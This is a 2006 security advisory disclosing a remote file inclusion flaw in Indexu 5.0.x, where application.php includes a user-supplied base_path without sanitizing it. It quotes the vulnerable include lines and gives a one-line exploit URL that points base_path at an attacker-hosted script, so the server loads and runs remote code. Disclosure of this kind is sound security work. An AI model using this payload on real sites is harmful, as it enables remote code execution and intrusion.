[ECHO_ADV_27$2006] Indexu <= 5.0.1 Remote File Inclusion

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ECHO_ADV_27$2006

[ECHO_ADV_27$2006] Indexu <= 5.0.1 Remote File Inclusion

Author : M.Hasran Addahroni
Date : February, 9th 2006
Location : Indonesia, Bali
Web : http://echo.or.id/adv/adv27-K-159-2006.txt
Critical Lvl : Dangerous

Affected software description:

Indexu

Application : indexu 
version     : 5.0.0 5.0.1
URL         : http://www.nicecoder.com/
Description :

INDEXU is a portal solution software that allows you to build powerful indexing websites such as
yahoo.com, google.com, and dmoz.org with ease. It's ability to allow you and your members to easily
add, organize, and manage your links makes INDEXU the first choice of all webmasters. 

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Proof of Concept:
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in application.php code script i found include fopen url
vulnerability that not sanitized.an attacker can exploit this vulnerability with a simple php
injection script.Here is the code of application.php

---------------application.php--------------------------------
 ...
include($base_path."lang/english.php");   // full path
include($base_path."pagination.class.php");   // full path

...
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Exploit:
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http://www.target.com/[path]/application.php?base_path=http://attacker.com/evil?

Solution:
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sanitize the script code in application.php to protect this vulerability

Notification:
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 vendor was contact

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Contact:
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     Homepage: http://k-159.echo.or.id/

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